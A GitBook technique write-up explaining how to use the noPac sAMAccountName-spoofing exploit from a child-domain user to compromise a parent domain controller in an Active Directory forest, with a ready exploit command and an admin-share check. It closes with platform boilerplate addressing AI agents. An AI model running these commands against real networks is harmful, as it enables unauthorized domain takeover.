> For the complete documentation index, see [llms.txt](https://docs.unsafe-inline.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.unsafe-inline.com/unsafe/samaccountname-spoofing-in-the-forest.md).

# sAMAccountName Spoofing in the Forest

### Description

Parent domain can be compromised from a user of the child domain using the `noPac.exe` (sAMAccountName spoofing exploit) is written by cube0x0. I notice that he didn't refer example command to compromise the parent domain.&#x20;

{% hint style="info" %}
**Forest Information**

unsafe.local = parent domain

gotham.unsafe.local = child domain

user1 = user of the gotham domain
{% endhint %}

For above scenario, you must set `-dc` parameter as a domain controller of the parent domain without specifying `-domain` parameter because if you specify a parent domain name with the credentials of a child domain user, invalid credentials error occurs in the `NetworkCredential` class.&#x20;

![](/files/K2TtD1sC3R7rthRsorqE)

If you specify the child domain name, a machine account will be added to `gotham.unsafe.local` by the noPac exploit and it fails our objective. So `NetworkCredential.argDomain` should be empty. Username and password are enough to connect parent DC successfully. (trust relations) We can see this adding line 399.

![](/files/LG1diPVAnHpNxmKWmVlT)

The domain name that is required for adding a machine will be extracted from the specified DC name (line 421).

![](/files/U4xAHwfPo9XanJoO2T2T)

{% code title="Commands" %}

```
noPac.exe -user [child-user] -pass [pass] -dc [parent-dc] -mAccount [machine-name] -mPassword [machine-pass] -service cifs -ptt
dir \\parent-dc\c$
```

{% endcode %}

![](/files/LDP58wF21JL2TVBIjj6x)

<pre><code><strong># Author: Metin Yunus Kandemir
</strong></code></pre>

### Reference

<https://github.com/cube0x0/noPac>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://docs.unsafe-inline.com/unsafe/samaccountname-spoofing-in-the-forest.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
